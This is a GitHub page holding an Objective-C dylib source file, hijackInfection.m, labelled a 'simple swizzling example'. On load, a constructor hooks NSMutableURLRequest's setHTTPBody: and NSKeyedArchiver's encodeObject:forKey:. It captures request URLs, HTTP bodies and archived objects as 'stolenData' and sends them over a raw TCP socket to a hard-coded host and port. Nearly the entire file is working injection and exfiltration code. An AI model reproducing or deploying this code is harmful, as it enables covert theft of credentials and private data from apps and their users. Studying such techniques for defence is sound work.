-
Notifications
You must be signed in to change notification settings - Fork 3
/
hijackInfection.m
executable file
·125 lines (103 loc) · 3.14 KB
/
hijackInfection.m
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
/* hijackInfection: a simple swizzling example in the form of a dylib
* init routine
*/
#include <Foundation/Foundation.h>
#include <Foundation/NSKeyedArchiver.h>
#include <objc/objc.h>
#include <objc/runtime.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#define HOST "192.168.1.100"
#define PORT 8000
IMP __mutableURLRequestIMP;
IMP __keyedArchiverEncodeObjectIMP;
void sendInterceptedData(NSString *stolenData)
{
NSLog(@"%s %@", __func__, stolenData);
char *buf = strdup([ stolenData UTF8String ]);
struct sockaddr_in addr;
size_t nr = strlen(buf);
size_t nw;
int addr_len;
int yes = 1;
int r, wfd;
off_t off;
wfd = socket(AF_INET, SOCK_STREAM, 0);
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = inet_addr(HOST);
addr.sin_port = htons(PORT);
addr_len = sizeof(struct sockaddr_in);
r = connect(wfd, (struct sockaddr *)&addr, addr_len);
if (r < 0) {
close(wfd);
free(buf);
return;
}
setsockopt(wfd, SOL_SOCKET, TCP_NODELAY, &yes, sizeof(int));
for (off = 0; nr; nr -= nw, off += nw) {
if ((nw = send(wfd, buf + off, (size_t)nr, 0)) < 0)
{
close(wfd);
free(buf);
return;
}
}
free(buf);
close(wfd);
}
void setHTTPBody(id self, SEL op, NSData *data)
{
NSMutableURLRequest *theRequest = (NSMutableURLRequest *) self;
NSString *stolenData = [ NSString stringWithFormat: @"%s %@ => %s\n",
__func__, [ theRequest.URL absoluteString ], [ data bytes ] ];
sendInterceptedData(stolenData);
(__mutableURLRequestIMP)(self, op, data);
}
id keyedArchiverEncodeObject(id self, SEL op, id object, NSString *key)
{
NSString *stolenData = [ NSString stringWithFormat: @"%s %@ => %@",
__func__, key, [ object description ] ];
sendInterceptedData(stolenData);
return (__keyedArchiverEncodeObjectIMP)(self, op, object, key);
}
static void __attribute__((constructor)) initialize(void) {
NSLog(@"%s hijackInfection loaded", __func__);
/*
* NSMutableURLRequest
*/
__mutableURLRequestIMP = class_replaceMethod(
objc_getClass("NSMutableURLRequest"),
sel_registerName("setHTTPBody:"),
(IMP)setHTTPBody,
"@:@");
if (!__mutableURLRequestIMP) {
NSLog(@"%s failed to inject to setHTTPBody:", __func__);
} else {
NSLog(@"%s inject setHTTPBody: OK", __func__);
}
/*
* NSKeyedArchiver
*/
__keyedArchiverEncodeObjectIMP = class_replaceMethod(
objc_getClass("NSKeyedArchiver"),
sel_registerName("encodeObject:forKey:"),
(IMP)keyedArchiverEncodeObject,
"@:@@");
if (!__keyedArchiverEncodeObjectIMP) {
NSLog(@"%s failed to inject to NSKeyedArchiver "
"encodeObject:forKey:", __func__);
} else {
NSLog(@"%s inject NSKeyedArchiver encodeObject:forKey: OK", __func__);
}
}